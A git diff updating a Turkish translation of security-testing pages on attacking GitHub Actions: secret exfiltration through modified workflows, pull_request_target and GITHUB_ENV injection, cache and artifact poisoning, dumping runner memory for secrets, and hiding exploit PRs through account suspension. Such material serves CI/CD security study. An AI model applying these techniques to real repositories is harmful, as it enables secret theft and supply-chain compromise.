+Eğer **zaten bir Github Action** yapılandırılmış bir depoda **yeni bir dal oluşturabiliyorsanız**, onu **değiştirebilir**, içeriği **yükleyebilir** ve ardından **o eylemi yeni dal üzerinden çalıştırabilirsiniz**. Bu şekilde **depo ve organizasyon seviyesindeki gizli bilgileri dışarıya çıkarabilirsiniz** (ancak bunların nasıl adlandırıldığını bilmeniz gerekir). -Değiştirilen eylemi **manuel olarak**, bir **PR oluşturulduğunda** veya **bazı kodlar yüklendiğinde** çalıştırılabilir hale getirebilirsiniz (ne kadar dikkat çekmek istediğinize bağlı olarak): +Değiştirilmiş eylemi **manuel olarak**, bir **PR oluşturulduğunda** veya **bazı kodlar yüklendiğinde** çalıştırılabilir hale getirebilirsiniz (ne kadar dikkat çekmek istediğinize bağlı olarak): ```yaml on: workflow_dispatch: # Launch manually @@ -174,18 +174,18 @@ branches: ### `pull_request` -Çalışma akışı tetikleyicisi **`pull_request`**, bir pull request alındığında her seferinde çalışma akışını çalıştırır, bazı istisnalarla: varsayılan olarak, eğer bu **ilk kez** **işbirliği yapıyorsanız**, bazı **bakıcıların** çalışma akışının **çalıştırılmasını** **onaylaması** gerekecektir: +**`pull_request`** iş akışı tetikleyicisi, bazı istisnalarla birlikte her seferinde bir pull request alındığında iş akışını çalıştırır: varsayılan olarak, eğer bu **ilk kez** **iş birliği yapıyorsanız**, bazı **bakıcıların** iş akışının **çalıştırılmasını** **onaylaması** gerekecektir:
> [!NOTE] -> **Varsayılan kısıtlama** **ilk kez** katkıda bulunanlar içindir, geçerli bir **hata/yazım hatasını düzeltmek** için katkıda bulunabilir ve ardından **yeni `pull_request` ayrıcalıklarınızı kötüye kullanmak için başka PR'lar gönderebilirsiniz**. +> **Varsayılan kısıtlama** **ilk kez** katkıda bulunanlar içindir, geçerli bir hata/yazım hatasını **düzeltmek** için katkıda bulunabilir ve ardından **yeni `pull_request` ayrıcalıklarınızı kötüye kullanmak için başka PR'lar gönderebilirsiniz**. > > **Bunu test ettim ve çalışmıyor**: ~~Başka bir seçenek, projeye katkıda bulunan birinin adını taşıyan bir hesap oluşturmak ve hesabını silmek olurdu.~~ Ayrıca, varsayılan olarak **yazma izinlerini** ve **gizli verilere erişimi** hedef depoya engeller, [**belgelere**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) göre: -> `GITHUB_TOKEN` hariç, **gizli veriler bir çalışma akışı bir **forked** depodan tetiklendiğinde** çalıştırıcıya **geçmez**. **`GITHUB_TOKEN`'ın pull request'lerde **okuma-yazma izinleri** yoktur **forked depolardan**. +> `GITHUB_TOKEN` hariç, bir iş akışı **forked** bir depodan tetiklendiğinde **gizli veriler koşucuya geçmez**. **`GITHUB_TOKEN`'ın pull request'lerde **forked** depolardan yalnızca okuma izinleri vardır**. Bir saldırgan, Github Action'ın tanımını değiştirerek keyfi şeyler çalıştırabilir ve keyfi eylemler ekleyebilir. Ancak, belirtilen kısıtlamalar nedeniyle gizli verileri çalamaz veya depoyu üzerine yazamaz. @@ -196,20 +196,20 @@ Saldırgan ayrıca çalıştırılan kodu kontrol ettiğinden, `GITHUB_TOKEN` ü ### **`pull_request_target`** -Çalışma akışı tetikleyicisi **`pull_request_target`**, hedef depoya **yazma iznine** ve **gizli verilere erişime** sahiptir (ve izin istemez). +**`pull_request_target`** iş akışı tetikleyicisi, hedef depoya **yazma iznine** ve **gizli verilere erişime** sahiptir (ve izin istemez). -Çalışma akışı tetikleyicisi **`pull_request_target`** **temel bağlamda** çalışır ve PR tarafından verilen bağlamda değil (güvenilmeyen kodu **çalıştırmamak için**). `pull_request_target` hakkında daha fazla bilgi için [**belgelere**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target) bakın.\ +**`pull_request_target`** iş akışı tetikleyicisinin **PR tarafından verilen** bağlamda değil, **temel bağlamda** çalıştığını unutmayın (güvenilmeyen kodu **çalıştırmamak için**). `pull_request_target` hakkında daha fazla bilgi için [**belgelere**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target) bakın.\ Ayrıca, bu özel tehlikeli kullanım hakkında daha fazla bilgi için bu [**github blog yazısını**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/) kontrol edin. -**Çalıştırılan çalışma akışının** **temelde** tanımlandığı ve **PR'de** değil olduğu için **`pull_request_target`** kullanmanın **güvenli** olduğu görünebilir, ancak bunun **güvenli olmadığı birkaç durum vardır**. +**`pull_request_target`** kullanmanın **güvenli** olduğunu düşündürebilir çünkü **çalıştırılan iş akışı** **temelde** tanımlanmıştır ve **PR'de** değil, ancak bunun **güvenli olmadığı birkaç durum vardır**. Ve bu, **gizli verilere erişim** sağlayacaktır. ### `workflow_run` -[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) tetikleyicisi, bir çalışma akışının `tamamlandığında`, `istek yapıldığında` veya `devam ediyor` olduğunda başka bir çalışma akışını çalıştırmasına izin verir. +[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) tetikleyicisi, bir iş akışı `tamamlandığında`, `istek yapıldığında` veya `devam ediyor` olduğunda başka bir iş akışını çalıştırmaya olanak tanır. -Bu örnekte, bir çalışma akışı, ayrı "Testleri Çalıştır" çalışma akışı tamamlandıktan sonra çalışacak şekilde yapılandırılmıştır: +Bu örnekte, bir iş akışı, ayrı "Testleri Çalıştır" iş akışı tamamlandıktan sonra çalışacak şekilde yapılandırılmıştır: ```yaml on: workflow_run: @@ -220,23 +220,23 @@ types: Ayrıca, belgelerde belirtildiği gibi: `workflow_run` olayıyla başlatılan iş akışı, **önceki iş akışı** çalıştırılmamış olsa bile **gizli bilgilere erişebilir ve token yazabilir**. Bu tür bir iş akışı, **`pull_request`** veya **`pull_request_target`** aracılığıyla bir dış kullanıcı tarafından **tetiklenebilen** bir **iş akışına** **bağlıysa** saldırıya uğrayabilir. Birkaç savunmasız örnek [**bu blogda**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**bulunabilir.** İlk örnek, **`workflow_run`** tetiklenen iş akışının saldırganın kodunu indirmesidir: `${{ github.event.pull_request.head.sha }}`\ -İkinci örnek, **güvenilmeyen** koddan **`workflow_run`** iş akışına bir **artifact** **geçirerek** ve bu artifact'ın içeriğini **RCE'ye karşı savunmasız hale getirecek** bir şekilde kullanmaktır. +İkinci örnek, **güvensiz** koddan **`workflow_run`** iş akışına bir **artifact** **geçirerek** ve bu artifact'ın içeriğini **RCE'ye karşı savunmasız hale getirecek** bir şekilde kullanmaktır. ### `workflow_call` TODO -TODO: `pull_request`'tan çalıştırıldığında kullanılan/indirilen kodun orijinalden mi yoksa forked PR'dan mı olduğunu kontrol et +TODO: `pull_request`'dan çalıştırıldığında kullanılan/indirilen kodun orijinalden mi yoksa forked PR'dan mı olduğunu kontrol et -## Forked İcra Kullanımı +## Forked Execution'ı Kötüye Kullanma Bir dış saldırganın bir github iş akışını çalıştırmasını sağlamak için tüm yolları belirttik, şimdi bu çalıştırmaların, kötü yapılandırıldığında, nasıl kötüye kullanılabileceğine bakalım: -### Güvenilmeyen checkout çalıştırması +### Güvensiz checkout çalıştırması -**`pull_request`** durumunda, iş akışı **PR'nin bağlamında** çalıştırılacak (yani **kötü niyetli PR kodunu** çalıştıracak), ancak birinin **önce yetkilendirmesi** gerekiyor ve bazı [kısıtlamalarla](./#pull_request) çalışacak. +**`pull_request`** durumunda, iş akışı **PR'nin bağlamında** çalıştırılacak (yani **kötü niyetli PR kodunu** çalıştıracak), ancak birinin **önce bunu yetkilendirmesi** gerekiyor ve bazı [kısıtlamalarla](./#pull_request) çalışacak. -**`pull_request_target` veya `workflow_run`** kullanan bir iş akışında, **`pull_request_target` veya `pull_request`** üzerinden tetiklenebilen bir iş akışına bağlıysa, orijinal repo kodu çalıştırılacak, bu nedenle **saldırgan çalıştırılan kodu kontrol edemez**. +**`pull_request_target` veya `workflow_run`** kullanan bir iş akışında, **`pull_request_target` veya `pull_request`** aracılığıyla tetiklenebilen bir iş akışına bağlıysa, orijinal repo kodu çalıştırılacak, bu nedenle **saldırgan çalıştırılan kodu kontrol edemez**. > [!CAUTION] > Ancak, eğer **action**'da **açık bir PR checkout** varsa ve bu **PR'dan kod alıyorsa** (veya temelden değilse), saldırganın kontrolündeki kodu kullanacaktır. Örneğin (PR kodunun indirildiği 12. satıra bakın): @@ -269,24 +269,24 @@ message: | Thank you! -Potansiyel olarak **güvenilmeyen kod `npm install` veya `npm build` sırasında çalıştırılmaktadır** çünkü derleme betikleri ve referans verilen **paketler PR yazarının kontrolündedir**. +Potansiyel olarak **güvensiz kod, `npm install` veya `npm build` sırasında çalıştırılmaktadır** çünkü derleme betikleri ve referans verilen **paketler PR yazarının kontrolündedir**. > [!WARNING] > Savunmasız eylemleri aramak için bir github dork'u: `event.pull_request pull_request_target extension:yml` ancak, eylem güvensiz yapılandırılmış olsa bile, işlerin güvenli bir şekilde çalıştırılması için farklı yollar vardır (örneğin, PR'yi oluşturan aktör hakkında koşullu ifadeler kullanmak gibi). -### Bağlam Betiği Enjeksiyonları +### Bağlam Script Enjeksiyonları -Belirli [**github bağlamları**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) olduğunu unutmayın, bu bağlamların değerleri **PR'yi oluşturan kullanıcı** tarafından **kontrol edilmektedir**. Eğer github action bu **verileri herhangi bir şeyi çalıştırmak için kullanıyorsa**, bu **keyfi kod çalıştırmaya** yol açabilir: +Belirli [**github bağlamları**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) vardır ki bunların değerleri **PR'yi oluşturan kullanıcı** tarafından **kontrol edilmektedir**. Eğer github action bu **verileri herhangi bir şeyi çalıştırmak için kullanıyorsa**, bu **rastgele kod çalıştırmaya** yol açabilir: {{#ref}} gh-actions-context-script-injections.md {{#endref}} -### **GITHUB_ENV Betik Enjeksiyonu** +### **GITHUB_ENV Script Enjeksiyonu** -Belgelerden: Bir iş akışı işinde herhangi bir sonraki adımda **bir ortam değişkenini kullanılabilir hale getirmek** için ortam değişkenini tanımlayarak veya güncelleyerek ve bunu **`GITHUB_ENV`** ortam dosyasına yazarak yapabilirsiniz. +Belgelerden: Bir iş akışı işinde herhangi bir sonraki adımda kullanılabilir bir **çevre değişkeni** oluşturmak veya güncellemek için bu değişkeni tanımlayarak ve **`GITHUB_ENV`** çevre dosyasına yazarak yapabilirsiniz. -Eğer bir saldırgan bu **env** değişkeninin içine **herhangi bir değeri enjekte edebilirse**, sonraki adımlarda **LD_PRELOAD** veya **NODE_OPTIONS** gibi kod çalıştırabilecek env değişkenlerini enjekte edebilir. +Eğer bir saldırgan bu **env** değişkeninin içine **herhangi bir değeri** **enjekte edebilirse**, **LD_PRELOAD** veya **NODE_OPTIONS** gibi sonraki adımlarda kod çalıştırabilecek env değişkenlerini enjekte edebilir. Örneğin ([**bu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) ve [**bu**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), **`GITHUB_ENV`** env değişkeninin içeriğini depolamak için yüklenen bir artifact'a güvenen bir iş akışını hayal edin. Bir saldırgan bunu tehlikeye atmak için şöyle bir şey yükleyebilir: @@ -323,7 +323,7 @@ with: name: artifact path: ./script.py ``` -Bu iş akışı ile saldırıya uğrayabilir: +Bu iş akışıyla saldırıya uğrayabilir: ```yaml name: "some workflow" on: pull_request @@ -344,7 +344,7 @@ path: ./script.py ### Silinmiş Namespace Repo Ele Geçirme -Eğer bir hesap adını değiştirirse, başka bir kullanıcı bir süre sonra o isimle bir hesap kaydedebilir. Eğer bir depo **isim değişikliğinden önce 100 yıldızdan azsa**, Github, aynı isimle yeni kayıtlı kullanıcının **silinmiş olanla aynı isimde bir depo oluşturmasına** izin verecektir. +Eğer bir hesap adını değiştirirse, başka bir kullanıcı bir süre sonra o adla bir hesap kaydedebilir. Eğer bir depo **isim değişikliğinden önce 100'den az yıldıza sahipse**, Github, aynı isimle yeni kayıtlı kullanıcının **silinmiş olanla aynı isimde bir depo oluşturmasına** izin verecektir. > [!DİKKAT] > Yani eğer bir işlem, var olmayan bir hesaptan bir depoyu kullanıyorsa, bir saldırganın o hesabı oluşturup işlemi tehlikeye atması hala mümkün olabilir. @@ -360,7 +360,7 @@ Eğer diğer depolar **bu kullanıcı depolarından bağımlılıklar kullanıyo ### Önbellek Zehirleme -Bir önbellek, **aynı dalda workflow çalışmaları arasında** korunur. Bu, bir saldırganın **bir paketi tehlikeye atması** durumunda, bu paketin önbellekte saklanacağı ve **daha ayrıcalıklı** bir workflow tarafından **indirilip** çalıştırılacağı anlamına gelir; böylece o workflow'u da **tehlikeye atabilir**. +Bir önbellek, **aynı dalda workflow çalışmaları arasında** korunur. Bu, bir saldırganın **bir paketi tehlikeye atması** durumunda, bu paketin önbellekte saklanıp **daha ayrıcalıklı** bir workflow tarafından **indirilip** çalıştırılması halinde, o workflow'u da **tehlikeye atabileceği** anlamına gelir. {{#ref}} gh-actions-cache-poisoning.md @@ -368,7 +368,7 @@ gh-actions-cache-poisoning.md ### Artifact Zehirleme -Workflow'lar, **diğer workflow'lardan ve hatta depolardan** **artifact'lar** kullanabilir; eğer bir saldırgan, başka bir workflow tarafından daha sonra kullanılan bir **artifact'ı yükleyen** Github Action'ı **tehlikeye atmayı** başarırsa, o zaman **diğer workflow'ları da tehlikeye atabilir**: +Workflow'lar, **diğer workflow'lardan ve hatta depolardan artifact'ler** kullanabilir. Eğer bir saldırgan, başka bir workflow tarafından daha sonra kullanılan bir **artifact'ı yükleyen** Github Action'ı **tehlikeye atmayı** başarırsa, o zaman **diğer workflow'ları da tehlikeye atabilir**: {{#ref}} gh-actions-artifact-poisoning.md @@ -380,7 +380,7 @@ gh-actions-artifact-poisoning.md ### OIDC Üzerinden AWS ve GCP'ye Erişim -Aşağıdaki sayfaları kontrol edin: +Aşağıdaki sayfalara göz atın: {{#ref}} ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -425,7 +425,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Gizli anahtarlarla ters kabuk al +Gizli anahtarlarla ters shell al ```yaml name: revshell on: @@ -448,15 +448,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-- Eğer gizli bilgi **bir ifadede doğrudan kullanılıyorsa**, oluşturulan shell scripti **diskte** saklanır ve erişilebilir. +- Eğer gizli anahtar **bir ifadede doğrudan kullanılıyorsa**, oluşturulan shell scripti **diskte** saklanır ve erişilebilir. - ```bash cat /home/runner/work/_temp/* ``` -- JavaScript eylemleri için gizli bilgiler ortam değişkenleri aracılığıyla gönderilir. +- JavaScript eylemleri için gizli anahtarlar ortam değişkenleri aracılığıyla gönderilir. - ```bash ps axe | grep node ``` -- **Özel bir eylem** için, risk, programın **argümandan** elde ettiği gizli bilgiyi nasıl kullandığına bağlı olarak değişebilir: +- **Özel bir eylem** için, risk, programın **argümandan** elde ettiği gizli anahtarı nasıl kullandığına bağlı olarak değişebilir: ```yaml uses: fakeaction/publish@v3 @@ -468,23 +468,23 @@ key: ${{ secrets.PUBLISH_KEY }} **Github Actions'ın hangi non-github altyapısında çalıştırıldığını** bulmanın yolu, Github Action yapılandırma yaml'ında **`runs-on: self-hosted`** aramaktır. -**Kendinden barındırılan** çalıştırıcılar, **ekstra hassas bilgilere**, diğer **ağ sistemlerine** (ağda savunmasız uç noktalar mı? meta veri servisi?) erişim sağlayabilir veya, izole edilse ve yok edilse bile, **birden fazla eylem aynı anda çalıştırılabilir** ve kötü niyetli olanı diğerinin **gizli bilgilerini çalabilir**. +**Kendinden barındırılan** çalıştırıcılar, **ekstra hassas bilgilere**, diğer **ağ sistemlerine** (ağda savunmasız uç noktalar mı? meta veri servisi?) erişim sağlayabilir veya, izolasyon sağlansa ve yok edilse bile, **birden fazla eylem aynı anda çalıştırılabilir** ve kötü niyetli olanı diğerinin **gizli anahtarlarını çalabilir**. -Kendinden barındırılan çalıştırıcılarda, herhangi bir adımda iş akışlarının tüm gizli bilgilerini içerecek olan **\_Runner.Listener**\_\*\* sürecinden gizli bilgileri elde etmek de mümkündür; belleğini dökerek: +Kendinden barındırılan çalıştırıcılarda, herhangi bir adımda iş akışlarının tüm gizli anahtarlarını içerecek olan **\_Runner.Listener**\_\*\* sürecinden gizli anahtarları elde etmek de mümkündür; belleğini dökerek: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` -Check [**bu gönderiye daha fazla bilgi için**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +Daha fazla bilgi için [**bu gönderiyi kontrol edin**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). ### Github Docker Görüntüleri Kaydı Github içinde **bir Docker görüntüsü oluşturup depolayacak Github eylemleri** yapmak mümkündür.\ -Aşağıdaki genişletilebilir örnekte bir örnek bulabilirsiniz: +Aşağıdaki genişletilebilir örnekte bulunabilir:
-Github Eylemi Oluştur & Docker Görüntüsünü Yükle +Github Action Build & Push Docker Image ```yaml [...] @@ -517,7 +517,7 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e Önceki kodda görebileceğiniz gibi, Github kayıt defteri **`ghcr.io`** üzerinde barındırılmaktadır. -Repo üzerinde okuma izinlerine sahip bir kullanıcı, kişisel erişim belirteci kullanarak Docker Görüntüsünü indirebilecektir: +Repo üzerinde okuma izinlerine sahip bir kullanıcı, kişisel erişim token'ı kullanarak Docker Görüntüsünü indirebilecektir: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: @@ -530,11 +530,11 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ### Github Actions günlüklerinde hassas bilgiler -**Github** gizli değerleri **tespit etmeye** ve **göstermemeye** çalışsa da, eylemin yürütülmesi sırasında üretilmiş **diğer hassas veriler** gizli kalmayacaktır. Örneğin, bir gizli değerle imzalanmış bir JWT, [özellikle yapılandırılmadıkça](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) gizli kalmayacaktır. +**Github** gizli değerleri **tespit etmeye** ve **göstermemeye** çalışsa da, eylemin yürütülmesi sırasında üretilmiş **diğer hassas veriler** gizlenmeyecektir. Örneğin, bir gizli değerle imzalanmış bir JWT gizlenmeyecektir, eğer [özellikle yapılandırılmamışsa](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). ## İzlerinizi Kapatma -([**buradan**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit) teknik) Öncelikle, oluşturulan herhangi bir PR, Github'da ve hedef GitHub hesabında kamuya açık olarak görünür. GitHub'da varsayılan olarak, **internetin PR'sini silemeyiz**, ancak bir twist var. Github tarafından **askıya alınan** GitHub hesapları için, tüm **PR'leri otomatik olarak silinir** ve internetten kaldırılır. Bu nedenle, etkinliğinizi gizlemek için ya **GitHub hesabınızın askıya alınmasını sağlamalı ya da hesabınızın işaretlenmesini** sağlamalısınız. Bu, **tüm etkinliklerinizi** GitHub'dan internetten gizleyecektir (temelde tüm istismar PR'lerinizi kaldırır). +([**buradan**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit) bir teknik) Öncelikle, oluşturulan herhangi bir PR, Github'da ve hedef GitHub hesabında kamuya açık olarak görünür. GitHub'da varsayılan olarak, **internetin PR'sini silemeyiz**, ancak bir twist var. Github tarafından **askıya alınan** GitHub hesapları için, tüm **PR'lar otomatik olarak silinir** ve internetten kaldırılır. Bu nedenle, etkinliğinizi gizlemek için ya **GitHub hesabınızın askıya alınmasını sağlamalı ya da hesabınızın işaretlenmesini** sağlamalısınız. Bu, **tüm etkinliklerinizi** GitHub'dan internetten gizleyecektir (temelde tüm istismar PR'larınızı kaldırır). GitHub'daki bir organizasyon, hesapları GitHub'a bildirmede çok proaktiftir. Tek yapmanız gereken, Issue'da "biraz şey" paylaşmak ve 12 saat içinde hesabınızın askıya alınmasını sağlamak :p ve işte, istismarınızı GitHub'da görünmez hale getirdiniz. diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md index 59da712ac..91a9c75de 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md @@ -1 +1 @@ -# Gh Actions - Artifact Poisoning +# Gh Actions - Artifact Zehirleme diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md index f77c0d2d3..9379c656a 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md @@ -1 +1 @@ -# GH Actions - Cache Poisoning +# GH Actions - Önbellek Zehirleme diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md index 9cef507bc..b546b30dd 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md @@ -1 +1 @@ -# Gh Actions - Context Script Injections +# Gh Actions - Context Script Enjeksiyonları diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md index eaba9970d..0bdcf9d37 100644 --- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md +++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Github'dan silinmiş olduğu iddia edilen verilere erişim yolları [**bu blog yazısında**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github) bildirilmiştir. +Github'da sözde silinmiş verilere erişim yolları [**bu blog yazısında rapor edilmiştir**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github). ## Silinmiş Fork Verilerine Erişim @@ -15,8 +15,8 @@ Github'dan silinmiş olduğu iddia edilen verilere erişim yolları [**bu blog y ## Silinmiş Repo Verilerine Erişim -1. GitHub'da bir kamuya açık repo oluşturun. -2. Bir kullanıcı repo'nuzu fork'lar. +1. GitHub'da bir kamuya açık reposu var. +2. Bir kullanıcı reposunu fork'lar. 3. Onlar fork'ladıktan sonra veri ekleyin (ve asla fork'larını güncellemelerinizle senkronize etmezler). 4. Tüm repoyu silin. @@ -25,9 +25,9 @@ Github'dan silinmiş olduğu iddia edilen verilere erişim yolları [**bu blog y ## Özel Repo Verilerine Erişim -1. Nihayetinde kamuya açık hale getirilecek bir özel repo oluşturun. +1. Nihayetinde kamuya açık hale gelecek bir özel repo oluşturun. 2. O repo'nun özel, iç versiyonunu (fork'lama yoluyla) oluşturun ve kamuya açık yapmayacağınız özellikler için ek kod ekleyin. -3. "Upstream" repo'nuzu kamuya açık yapın ve fork'unuzu özel tutun. +3. "Upstream" reposunu kamuya açık yapın ve fork'unuzu özel tutun. > [!CAUTION] > İç fork oluşturulduğu ve kamuya açık versiyon yapıldığı süre zarfında iç fork'a itilen tüm verilere erişmek mümkündür. diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index 69b452972..faddd1e00 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -4,27 +4,27 @@ ## Temel Yapı -Büyük bir **şirketin** temel github ortam yapısı, **birden fazla organizasyona sahip olan bir **şirket** sahibi olmaktır ve her biri **birkaç depo** ve **birkaç takım** içerebilir. Daha küçük şirketler sadece **bir organizasyona ve hiçbir şirkete sahip olabilirler**. +Büyük bir **şirketin** temel github ortam yapısı, **birden fazla organizasyona sahip olan bir **şirket** sahibi olmaktır ve her biri **birkaç depo** ve **birkaç takım** içerebilir. Daha küçük şirketler sadece **bir organizasyona ve hiçbir şirkete sahip olabilir**. Bir kullanıcı açısından, bir **kullanıcı** **farklı şirketler ve organizasyonlar** üyesi olabilir. Bu organizasyonlar içinde kullanıcı, **farklı şirket, organizasyon ve depo rollerine** sahip olabilir. Ayrıca, bir kullanıcı **farklı takımlarda** farklı şirket, organizasyon veya depo rollerine sahip olabilir. -Ve nihayetinde, **depolar özel koruma mekanizmalarına sahip olabilir**. +Ve nihayetinde, **depolar özel koruma mekanizmalarına** sahip olabilir. ## Ayrıcalıklar ### Şirket Rolleri -- **Şirket sahibi**: Bu role sahip kişiler, **yönetici yönetimi, şirket içindeki organizasyonları yönetme, şirket ayarlarını yönetme, organizasyonlar arasında politika uygulama** gibi işlemleri gerçekleştirebilir. Ancak, **organizasyon ayarlarına veya içeriğine erişemezler**; organizasyon sahibi yapılmadıkları veya bir organizasyona ait bir depoya doğrudan erişim verilmediği sürece. +- **Şirket sahibi**: Bu role sahip kişiler, **yönetici yönetimi, şirket içindeki organizasyonları yönetme, şirket ayarlarını yönetme, organizasyonlar arasında politika uygulama** gibi işlemleri gerçekleştirebilir. Ancak, **organizasyon ayarlarına veya içeriğine erişemezler**; yalnızca bir organizasyon sahibi yapılmışlarsa veya bir organizasyona ait bir depoya doğrudan erişim verilmişse erişebilirler. - **Şirket üyeleri**: Şirketinizin sahip olduğu organizasyonların üyeleri de **otomatik olarak şirketin üyeleri**dir. ### Organizasyon Rolleri Bir organizasyonda kullanıcıların farklı rolleri olabilir: -- **Organizasyon sahipleri**: Organizasyon sahipleri, **organizasyonunuza tam yönetim erişimine** sahiptir. Bu rol sınırlı olmalı, ancak organizasyonunuzda en az iki kişi olmalıdır. -- **Organizasyon üyeleri**: **Varsayılan**, yönetici olmayan rol **organizasyon** içindeki kişiler için organizasyon üyesidir. Varsayılan olarak, organizasyon üyeleri **bir dizi izne** sahiptir. +- **Organizasyon sahipleri**: Organizasyon sahipleri, **organizasyonunuza tam yönetim erişimine** sahiptir. Bu rol sınırlı olmalı, ancak organizasyonunuzda en az iki kişiye verilmelidir. +- **Organizasyon üyeleri**: **Varsayılan**, yönetici olmayan rol **organizasyondaki kişiler için** organizasyon üyesidir. Varsayılan olarak, organizasyon üyeleri **bir dizi izne** sahiptir. - **Faturalama yöneticileri**: Faturalama yöneticileri, **organizasyonunuzun faturalama ayarlarını yönetebilen** kullanıcılardır; örneğin, ödeme bilgileri. - **Güvenlik Yöneticileri**: Organizasyon sahiplerinin herhangi bir takıma atayabileceği bir roldür. Uygulandığında, takımın her üyesine **organizasyon genelinde güvenlik uyarılarını ve ayarlarını yönetme izinleri ile organizasyondaki tüm depolar için okuma izinleri** verir. - Eğer organizasyonunuzun bir güvenlik takımı varsa, güvenlik yöneticisi rolünü kullanarak takım üyelerine organizasyona ihtiyaç duydukları en az erişimi verebilirsiniz. @@ -35,17 +35,17 @@ Bu rollerin izinlerini bu tabloda **karşılaştırabilirsiniz**: [https://docs. ### Üye Ayrıcalıkları -_https://github.com/organizations/\/settings/member_privileges_ adresinde, **organizasyonun bir parçası olmanın getirdiği izinleri** görebilirsiniz. +_https://github.com/organizations/\/settings/member_privileges_ adresinde, **organizasyona üye olmanın getirdiği izinleri** görebilirsiniz. Burada yapılandırılan ayarlar, organizasyon üyelerinin aşağıdaki izinlerini gösterecektir: - Tüm organizasyon depoları üzerinde yönetici, yazar, okuyucu veya hiçbir izin olma durumu. -- Üyelerin özel, dahili veya genel depolar oluşturup oluşturamayacakları. +- Üyelerin özel, dahili veya genel depolar oluşturup oluşturamayacağı. - Depoların çatallanmasının mümkün olup olmadığı. - Dış işbirlikçilerini davet etmenin mümkün olup olmadığı. - Genel veya özel sitelerin yayınlanıp yayınlanamayacağı. - Yöneticilerin depolar üzerindeki izinleri. -- Üyelerin yeni takımlar oluşturup oluşturamayacakları. +- Üyelerin yeni takımlar oluşturup oluşturamayacağı. ### Depo Rolleri @@ -54,16 +54,16 @@ Varsayılan olarak depo rolleri oluşturulur: - **Okuma**: Projenizi görüntülemek veya tartışmak isteyen **kod katkıda bulunmayanlar** için önerilir. - **Triage**: Yazma erişimi olmadan **sorunları ve çekme isteklerini proaktif bir şekilde yönetmesi gereken katkıda bulunanlar** için önerilir. - **Yazma**: Projenize **aktif olarak katkıda bulunanlar** için önerilir. -- **Sürdürme**: Hassas veya yıkıcı eylemlere erişim olmadan **depoları yönetmesi gereken proje yöneticileri** için önerilir. +- **Bakım**: Hassas veya yıkıcı eylemlere erişim olmadan **depoları yönetmesi gereken proje yöneticileri** için önerilir. - **Yönetici**: **Proje üzerinde tam erişime** ihtiyaç duyan kişiler için önerilir; bu, güvenliği yönetmek veya bir depoyu silmek gibi hassas ve yıkıcı eylemleri içerir. Her rolün izinlerini bu tabloda **karşılaştırabilirsiniz**: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) -Ayrıca _https://github.com/organizations/\/settings/roles_ adresinde **kendi rollerinizi oluşturabilirsiniz**. +Ayrıca, _https://github.com/organizations/\/settings/roles_ adresinde **kendi rollerinizi oluşturabilirsiniz**. ### Takımlar -Bir organizasyonda oluşturulan **takımları 